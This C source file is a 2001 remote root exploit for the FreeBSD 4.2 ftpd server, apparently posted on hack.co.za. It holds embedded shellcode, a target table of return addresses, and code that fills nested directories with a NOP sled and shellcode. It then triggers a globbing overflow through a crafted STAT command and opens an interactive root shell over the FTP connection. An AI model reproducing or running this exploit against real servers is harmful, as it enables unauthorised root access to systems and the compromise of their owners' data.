/*
 * (c) Apr 2001 noah williamsson / tm@ns2.crw.se
 *
 * Compile:
 *   BSD/Linux: gcc -o fbsdftp-ex -O2 -Wall fbsdftp-ex.c
 *   Solaris: cc -o fbsdftp-ex -O2 -Wall -lresolv -lsocket -lnsl fbsdftp-ex.c
 *
 * Credits:
 *   fishstiqz (shellcode)
 *
 * Greets:
 *   #Hack.SE
 *
 * For adding new targets, some hints are available 
 * around line 180 in this file.
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <resolv.h>
#include <signal.h>
#include <sys/stat.h>


// #define DEBUG


int type, verbose, s;
char kjellkode[] = {
	/* fishstiqz' bsd c0de */
	"\x29\xc0\x50\xb0\x17\x50\xcd\x80"
	"\x29\xc0\x50\xbf\x66\x69\x73\x68"
	"\x29\xf6\x66\xbe\x49\x46\x31\xfe"
	"\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
	"\x56\x89\xe3\x50\x54\x50\x54\x53"
	"\xb0\x3b\x50\xcd\x80"
};

struct { 
	char *name;
	unsigned long neweip;
	int offset;
	int align;
	int mkds;
	int cwds;
} targets[] = {
	{ "FreeBSD 4.2R ftpd default installation", 0xbfbfa410, 0x58, 0, 26, 50 },
	{ "FreeBSD 4.2R ftpd compiled with -ggdb",  0xbfbfa430,  0x58, 0, 26, 50 },
	{ "FreeBSD 4.2S as of Sept 2000", 0xbfbfa450, 0x58, 0, 26, 50 },
	{ 0 }
};


int main(int, char **);
void sig(int);
int opensock(char *);
void usage(void);
void ftpd_exp(char *, char *);
void ftpd_mkd(int);
void tunnel(int);


int main(int argc, char *argv[]) {
	char *host, *user, *pass, buf[8192];
	int i, create_dirs = 0;

	if(argc < 4)
	  usage();

	for(i = 1; i < argc; i++) {
		if(!strcmp(argv[i], "-t"))
			type = atoi(argv[++i]);
		if(!strcmp(argv[i], "-v"))
			verbose = 1;
		else if(!strcmp(argv[i], "-c"))
			create_dirs = 1;
	}

	pass = argv[argc-1];
	user = argv[argc-2];
	host = argv[argc-3];

	if((s = opensock(host)) <= 0)
		return -1;

	printf("[xplt] Target host is %s\n", targets[type].name);
	memset(buf, 0, sizeof(buf));
	read(s, buf, sizeof(buf));

	sprintf(buf, "USER %s\r\n", user);
	write(s, buf, strlen(buf));
	memset(buf, 0, sizeof(buf));
	read(s, buf, sizeof(buf));

	sprintf(buf, "PASS %s\r\n", pass);
	write(s, buf, strlen(buf));
	memset(buf, 0, sizeof(buf));

	sleep(1);
	read(s, buf, sizeof(buf));

#ifdef DEBUG
	printf("[xplt] Hit enter\n");
	read(0, buf, sizeof(buf));
#endif

	if(create_dirs) {
		chdir("~");
		ftpd_mkd(targets[type].mkds);
	}

	ftpd_exp(user, pass);

	close(s);

	return 0;
}


void ftpd_exp(char *login, char *pass) {
	char buf[4096];
	int rep;

	signal(SIGINT, sig);

	sprintf(buf, "STAT CCC*");
	for(rep = 0; rep < targets[type].cwds; rep++)
		strcat(buf, "/*");

	strcat(buf, "\r\n");
	write(s, buf, strlen(buf));

	sprintf(buf, "echo '[+] If you can see this line you have a shell [+]' ; /usr/bin/id\n");
	write(s, buf, strlen(buf));

	printf("[xplt] If you don't receive a line with uid=0 within a few seconds the exploit probably didn't work\n");

	tunnel(s);
}


void ftpd_mkd(int numdirs) {
	char buf[1024], ftpcmd[1024];
	int i;

	sprintf(buf, "CWD ~\r\n");
	write(s, buf, strlen(buf));
	memset(buf, 0, sizeof(buf));
	read(s, buf, sizeof(buf));
	if(verbose) printf("FTP:cwd ~> %s", buf);

	for(i = 0; i < numdirs; i++) {
		memset(buf, 0, sizeof(buf));

		if(i == 1) {
			memset(buf, 0x90, 40);
			memcpy(buf+strlen(buf), kjellkode, strlen(kjellkode));
			memset(buf+strlen(buf), 0x90, 203-strlen(buf));
		}
		else if('C'+i == targets[type].offset) {
			int j;
#ifdef DEBUG
			
			/*
			 * Start gdb -se=/usr/libexec/ftpd
			 * Attach the ftpd process when you see 'Hit enter'
			 * Hit enter.
			 *
			 * Offset is (segv addy & 0xff) - 0x30
			 *
			 * Find neweip by doing x/1000wx 0xbfbfa00
			 * and look for 0x90909090
			 *
			 */

			for(j = 0; j < 39; j++)
				buf[j] = j + 0x30;
#else
			for(j = 0; j < 40; j+=4)
				*(unsigned long *)(&buf[j+targets[type].align]) = targets[type].neweip;
#endif
		}
		else {
			memset(buf, 'C'+i, 39);
		}

		sprintf(ftpcmd, "MKD %s\r\n", buf);
		write(s, ftpcmd, strlen(ftpcmd));
		memset(buf, 0, sizeof(buf));
		read(s, buf, 510);
		if(verbose) printf("FTP:mkd> %s", buf);

		memcpy(ftpcmd, "CW", 2);
		write(s, ftpcmd, strlen(ftpcmd));
		memset(buf, 0, sizeof(buf));
		read(s, buf, 510);
		if(verbose) printf("FTP:cwd> %s", buf);
	}

	printf("[xplt] Created %d directories\n", i);
	sprintf(buf, "CWD ~\r\n");
	write(s, buf, strlen(buf));
	memset(buf, 0, sizeof(buf));
	read(s, buf, sizeof(buf));
	if(verbose) printf("FTP:cwd ~> %s", buf);
}


int opensock(char *host) {
	int s;
	struct sockaddr_in remote_sin;
	struct hostent *he;

	if((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
		perror("socket()");
		return -1;
	}

	memset((char *)&remote_sin, 0, sizeof(remote_sin));
	if((he = gethostbyname(host)) != NULL)
		memcpy((char *)&remote_sin.sin_addr, he->h_addr, he->h_length);
	else if((remote_sin.sin_addr.s_addr = inet_addr(host)) < 0) {
		perror("gethostbyname()/inet_addr()");
		return -1;
	}

	remote_sin.sin_family = AF_INET;
	remote_sin.sin_port = htons(21);

	if(connect(s, (struct sockaddr *)&remote_sin, sizeof(remote_sin)) == -1) {
		perror("connect()");
		close(s);
		return -1;
	}
	      
	return s;
}


void usage(void) {
	int i;


	printf("Usage: ./fbsdftp-ex [-t <num>] [-c] [-v] <ftphost> <ftpuser> <ftppass>\n");
	printf("\t-t\tTarget host type\n");
	printf("\t-c\tCreate evil directories\n");
	printf("\t-v\tVerbose\n");
	printf("\nValid targets:\n");

	for(i = 0; targets[i].name; i++) {
		printf("%d\t%s\n", i, targets[i].name);
	}

	exit(0);
}


void sig(int signo) {
	close(s);
	printf("Die!\n");
	exit(0);
}


void tunnel(int sock) {
	char fbuf[1024], tbuf[1024];
	int ret, idx_f = 0, idx_t = 0;
	int input = 0, output = 1;
	struct timeval tv;
	fd_set rd, wd;

	FD_ZERO(&rd);
	FD_ZERO(&wd);
	for(;;) {
		if(idx_t < 1024)
			FD_SET(input, &rd);

		if(idx_f < 1024)
			FD_SET(sock, &rd);

		tv.tv_sec = 1;
		tv.tv_usec = 0;
		ret = select(sock+1, &rd, &wd, NULL, NULL);
		if(ret < 1)
			continue;

		if(FD_ISSET(sock, &rd) && idx_f != 1024) {
			ret = read(sock, fbuf + idx_f, sizeof(fbuf) - idx_f);
			if(ret < 1)
				break;

			idx_f += ret;
			FD_CLR(sock, &rd);
		}

		if(FD_ISSET(input, &rd) && idx_t != 1024) {
			ret = read(input, tbuf + idx_t, sizeof(tbuf) - idx_t);
			if(ret < 1)
				break;
	
			idx_t += ret;
			FD_CLR(input, &rd);
		}

		if(idx_f) {
			if((ret = write(output, fbuf, idx_f)) < 1)
				break;

			if(!(idx_f -= ret))
				memcpy(fbuf, fbuf + ret, idx_f);
		}

		if(idx_t) {
			if((ret = write(sock, tbuf, idx_t)) < 1)
				break;

			if(!(idx_t -=ret))
				memcpy(tbuf, tbuf + ret, idx_t);
		}
	}

	close(sock);
	/* DMT$MTA */
}
/*                www.hack.co.za           [18 April 2001]*/